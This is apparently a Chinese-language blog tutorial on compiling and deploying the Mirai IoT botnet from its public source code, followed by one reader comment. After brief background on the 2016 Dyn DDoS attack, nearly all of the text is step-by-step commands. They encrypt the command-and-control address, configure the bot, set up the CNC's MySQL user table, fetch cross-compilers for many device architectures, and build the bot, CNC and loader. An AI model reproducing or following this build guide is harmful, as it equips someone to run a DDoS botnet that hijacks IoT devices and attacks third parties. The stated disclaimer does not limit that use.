Mirai源码编译

首先声明:本教程只用于技术交流,请勿用于非法用途。请严格遵循相关法律法规

2016年10月21日,美国东海岸地区遭受大面积网络瘫痪,其原因为美国域名解析服务提供商Dyn公司当天受到强力的DDoS攻击所致。Dyn公司称此次DDoS攻击涉
及千万级别的IP地址(攻击中UDP/DNS攻击源IP几乎皆为伪造IP,因此此数量不代表僵尸数量),其中部分重要的攻击来源于IOT设备,攻击活动从上午7:
00(美国东部时间)开始,直到下午1:00才得以缓解,黑客发动了三次大规模攻击,但是第三次攻击被缓解未对网络访问造成明显影响。

造成这种攻击的就是Mirai僵尸网络,它跟其他僵尸网络不同的地方在于它的攻击目标是物联网设备而非传统计算机。物联网设备经常受到攻击的主要原因是其基本核心网络是传
统的互联网,但它比传统的互联网结构更为复杂。物联网的感知层由大量的传感器节点组成,这些节点由于自身处理能力有限,缺乏安全功能,用户没有更改默认出厂设置,认证技术
较弱,软件更新困难等特点,更容易受到攻击。而且由于物联网设备不会轻易关机,若管理者疏于维护,一旦控制便能长期使用,更容易引起连锁反应,造成严重的社会危害。

由于物联网设备的处理能力有限,Mirai僵尸网络的受控终端不会产生大量的流量,只向攻击目标服务器发送少量数据包。然而,由于僵尸网络的受控终端往往可以达到几十万的
量级,同时向某一目标传输少量数据包也会导致其资源的枯竭,从而达到DDoS攻击的效果。

因此本文就从源码下载开始教大家如何在本机搭建一个Mirai僵尸网络。

1.Install requirements(安装依赖)

#sudo apt-get install git gcc golang electric-fence mysql-server mysql-client

●记住安装过程中mysql-server的root密码,下面需要用到,本人设置为用户名root,密码123456

2.Download source code(下载源码)

#git clone https://github.com/jgamblin/Mirai-Source-Code

#cd Mirai-Source-Code

3.Compile encrypt-script(编译加密脚本)

#cd mirai/tools && gcc enc.c -o enc.out

4.Encrypt your cnc-domain and report-domain(加密cnc服务器和report服务器)

●本步骤是利用cnc加密主控服务器域名和报告服务器域名,一般是2个服务器,也可以设置成为一个服务器,例如本机IP地址为192.168.1.
114,所以将两个服务器域名全部设置成本机IP地址即可。

#./enc.out string 192.168.1.114

5.Configuring bot(配置受控端程序)

●edit file "tables.c"(编辑tables.c文件)

#vi ../bot/tables.c

●change string in line 18,line 21 to your encrypted domain
string.(更改18和21行为前一步加密的字符串)

6.Configuring CNC(配置主控端程序)

#cd ../../scripts

●edit file "db.sql"(编辑db.sql文件)

#vi db.sql

●add string "use mirai;" in line 2, after "CREATE DATABASE mirai;"(在第二行加入”use
mirai;”)

●start mysql service(开启mysql服务)

#service mysql start

●update mysql database with this
script(利用sql脚本更新数据库,uroot是用户名,p123456是密码,就是第一步设置的)

#cat db.sql | mysql -uroot -p123456

●add user to mysql(添加mirai的用户)

#mysql -uroot -p123456 mirai

#INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1,
30, '');

#exit

●注意:最后的是两个单引号,不是双引号。

●edit file "main.go"(编辑main.go文件)

#vi ../mirai/cnc/main.go

●line 10 - line 14 set mysql user and pass here(在此更换用户名和密码为第一步预设值,本文如下)

7.Cross Compile(交叉编译)

●now you are in "scripts" folder(现在你在scripts文件夹中)

●create folder at Mirai root path(在mirai根目录创建文件夹cross-compile-bin)

#cd .. && mkdir cross-compile-bin

#cd cross-compile-bin

●run following commands to download cross-compiler(执行下面的命令以下载)

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.
bz2 wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

●then run the script(然后运行脚本)

#cd ../scripts

#sudo ./cross-compile.sh

●type 'n' here(这里会询问是否安装mysql服务,输入n)

Install mysql-server and mysql-client (y/n)? n

●edit .bashrc(编辑.bashrc,添加环境变量)

#vi ~/.bashrc

●add following string at bottom(在最底部添加下面的字符串)

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

●refresh(刷新环境变量)

#mkdir ~/go

#source ~/.bashrc

8.Build bot and CNC(构建受控端和主控端程序)

●Get golang requiremnts(获取golang的依赖)

#go get http://github.com/go-sql-driver/mysql

#go get http://github.com/mattn/go-shellwords

●In mirai folder, run build.sh script(在mirai目录中,运行build.sh脚本)

#cd ../mirai

#./build.sh debug telnet

9.Build loader(构建loader)

#cd ../loader

#./build.sh

参考网址:

https://www.cdxy.me/?p=746

https://www.jianshu.com/p/d16ee2cbe1e7?from=timeline&isappinstalled=0

http://www.nolanzong.com/2017/01/09/mirai-setup/

点赞
  1. sss说道:

    telnet 我的ip 23我这边并没有提示,让输入用户名和密码.这个您有碰到过吗?

发表评论

[2;3Rer>